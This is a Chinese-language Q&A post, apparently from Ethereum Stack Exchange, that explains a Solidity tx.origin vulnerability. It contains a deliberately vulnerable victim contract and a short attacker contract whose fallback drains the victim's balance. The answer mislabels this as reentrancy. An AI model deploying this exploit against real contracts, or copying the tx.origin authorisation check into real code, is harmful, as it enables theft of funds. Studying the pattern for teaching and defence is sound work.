在tx.origin漏洞的上下文中,我有两个契约:
pragma solidity ^0.5.8;
contract TxOriginVictim {
address owner;
constructor() public{
owner = msg.sender;
}
function transferTo(address to, uint amount) public {
require(tx.origin == owner);
(bool success,) = to.call.value(amount)("");
require(success);
}
function() external payable {}
}攻击者的合同是:
==
pragma solidity ^0.5.8;
interface TxOriginVictim {
function transferTo(address to, uint amount) external;
}
contract TxOriginAttacker {
address owner;
constructor () public { owner = msg.sender;}
function getOwner() public returns (address) { return owner;}
function() external payable {
TxOriginVictim(msg.sender).transferTo(owner, msg.sender.balance);
}
}在TxOriginAttacker合同中,我无法理解TxOriginVictim接口的用途。声明中的TxOriginVictim(msg.sender)是什么:TxOriginVictim(msg.sender).transferTo(所有者,msg.sender.balance);
请引导我。
祖尔菲。
发布于 2021-04-04 06:32:26
接口允许契约在不知道实现的情况下调用另一个协议。
代码TxOriginVictim(msg.sender).transferTo(owner, msg.sender.balance)正在做类似的事情。
TxOriginVictim victim = TxOriginVictim(msg.sender);
victim.transferTo(owner, msg.sender.balance);攻击者假定msg.sender是TxOriginVictim契约的一个实例,并试图调用transferTo函数。一种重入攻击。
由于受害者只检查tx.origin,所以允许攻击者调用transferTo。
https://ethereum.stackexchange.com/questions/96672
复制相似问题